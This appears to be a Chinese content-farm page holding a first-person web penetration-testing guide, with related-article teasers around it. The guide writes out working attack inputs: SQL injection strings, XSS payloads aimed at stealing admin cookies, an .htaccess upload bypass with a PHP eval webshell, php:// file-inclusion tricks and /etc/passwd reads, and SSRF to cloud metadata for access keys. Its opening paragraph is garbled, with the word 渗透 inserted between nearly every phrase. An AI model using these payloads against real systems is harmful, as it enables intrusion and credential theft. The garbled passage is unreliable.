您现在的位置是:焦点 >>正文

web层渗透技能

焦点9人已围观

简介```html web层渗透技能 body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Hel ...

```html web层渗透技能

web层渗透技能

一个登录框,输入 ' or 渗透1=1 --,回车,渗透直接进了后台。渗透这不是渗透段子,是渗透2019年某个省级政务系统真实发生的事。开发图省事,渗透把用户输入拼进SQL里,渗透WAF也没拦——因为流量走的渗透是内网。web层渗透的渗透核心就一句话:找到应用对“数据”和“代码”的混淆点,然后让数据变成代码执行。渗透别扯什么OWASP Top 10背得多熟,渗透实战里能让你打进去的渗透,往往是渗透那些不起眼的参数和逻辑漏洞。

先说SQL注入。渗透现在纯拼接的少了,但二次注入、宽字节、堆叠查询还在。我见过一个电商站,搜索框过滤了单引号,但Cookie里的user_id没过滤。你把它改成 1 union select 1,2,3--,页面直接回显数据库名。工具?sqlmap当然能用,但别上来就梭哈。手工测几个关键点:order by探列数,union select找回显位,不行再盲注。盲注也分布尔和时间,前者看页面差异,后者看响应延迟。有个小技巧:把sleep(5)换成benchmark(10000000,md5(1)),有些环境sleep被禁了但benchmark还在。

XSS现在难多了,CSP、HttpOnly、Trusted Types层层设防。但存储型XSS依然是后台管理员的大杀器。去年帮朋友看一个CMS,留言板过滤了<script>,但没过滤<img src=x onerror=alert(1)>。更骚的是,他把payload写进用户昵称,管理员在后台用户列表页直接中招。这里有个细节:很多后台用innerHTML渲染数据,你插个<svg/onload=...>就活了。别老想着弹窗,实战里直接打Cookie或者构造CSRF请求删库,效率更高。

真实案例:某金融系统,文件上传点只检查了Content-Type。我把.jsp文件改成image/jpeg,上传成功。但访问时返回403——目录没执行权限。换思路,传了个.htaccess,内容写AddType application/x-httpd-php .jpg,再传jpg木马,直接getshell。所以别死磕一个点,web层渗透是链条,一个环节断了就换下一个。

命令执行和代码执行经常被混为一谈。PHP里system()、exec()、shell_exec(),还有反引号,都是命令执行。代码执行则是eval()、assert()、preg_replace的/e修饰符(PHP7已移除)。我偏爱preg_replace那个,因为很多老站还在用。比如preg_replace('/.*/e', $_GET['cmd'], ''),直接传phpinfo()。现在流行的是反序列化,PHP的unserialize()、Java的readObject()、Python的pickle.loads()。重点不是构造链,而是找入口——Cookie、参数、甚至数据库里的序列化字段。有个坑:Java反序列化需要目标class在classpath里,所以先信息收集,看用了哪些组件。

文件包含分本地和远程。远程现在基本被allow_url_include关了,但本地包含配合文件上传依然好用。传个图片马,内容写<?php @eval($_POST['x']);?>,然后?file=upload/1.jpg。如果include路径可控,还能用php://filter读源码,或者php://input直接执行POST数据。我遇到过include($_GET['page'].'.php'),用%00截断(PHP<5.3.4)或者../../../etc/passwd。现在PHP7+没截断了,但可以用php://filter/convert.base64-encode/resource=index读文件。

SSRF是内网漫游的钥匙。参数里出现url=、path=、src=、dest=,先测http://127.0.0.1:80。如果返回不同,说明有戏。然后扫内网端口,用dict://、gopher://打Redis、MySQL。有个经典场景:url=http://169.254.169.254/latest/meta-data/,直接拿云服务器AK/SK。别只盯着http,file://读本地文件,gopher://发任意TCP包。我见过一个站,url参数只允许http,但用http://127.0.0.1@evil.com绕过了。


逻辑漏洞才是web层的灵魂。越权、支付篡改、验证码复用、密码重置。一个电商站,修改收货地址时address_id是自增的,我改成别人的ID,直接看到别人地址。支付时把price=100改成price=0.01,订单照样生成。还有密码重置,token是md5(email),我改个邮箱就重置了管理员密码。这些漏洞扫描器扫不出来,全靠手工测。我的习惯:抓包,改参数,看响应。别怕麻烦,一个参数一个参数试。

最后说工具。Burp Suite是标配,但别只当代理用。Repeater手动测,Intruder跑字典,Scanner辅助。sqlmap、nmap、dirsearch、ffuf,该用就用。但工具会骗你——比如sqlmap报存在注入,结果是个假阳性。所以手工验证永远第一位。web层渗透没有银弹,只有耐心和细节。一个空格、一个大小写、一个编码,都可能决定成败。多动手,少空想。

```

Tags:

上一篇:谷歌核对信息一直转圈

下一篇:jsp网页

相关文章

  • 反渗透膜更换厂家

    焦点

    老张的水厂出了事,产水量从每小时40吨掉到18吨,电费却涨了三分之一。他请来设备原厂的技术员,人家拆开膜壳一看,端盖密封圈已经硬化变形,膜元件表面结了一层灰白色的垢——清洗液配比不对,加上原厂膜用了三 ...

    【焦点】

    阅读更多
  • 在线贷款平台

    焦点

    凌晨两点,张伟盯着手机屏幕上那道蓝色进度条,终于跳到了百分之百。他申请的八万块装修贷,到账了。从人脸识别到放款,前后不到二十分钟。他关掉台灯,没吵醒隔壁屋已经睡下的妻子。这要是搁五年前,得请假跑银行, ...

    【焦点】

    阅读更多
  • 服务器怎么修改密码

    焦点

    服务器密码修改这事,说难不难,说简单也容易踩坑。我见过太多人栽在“忘了重启服务”或者“改了root密码却登不上SSH”这种低级错误上。核心就一句话:分清你改的是哪一层密码,以及改完必须验证生效。 先 ...

    【焦点】

    阅读更多


友情链接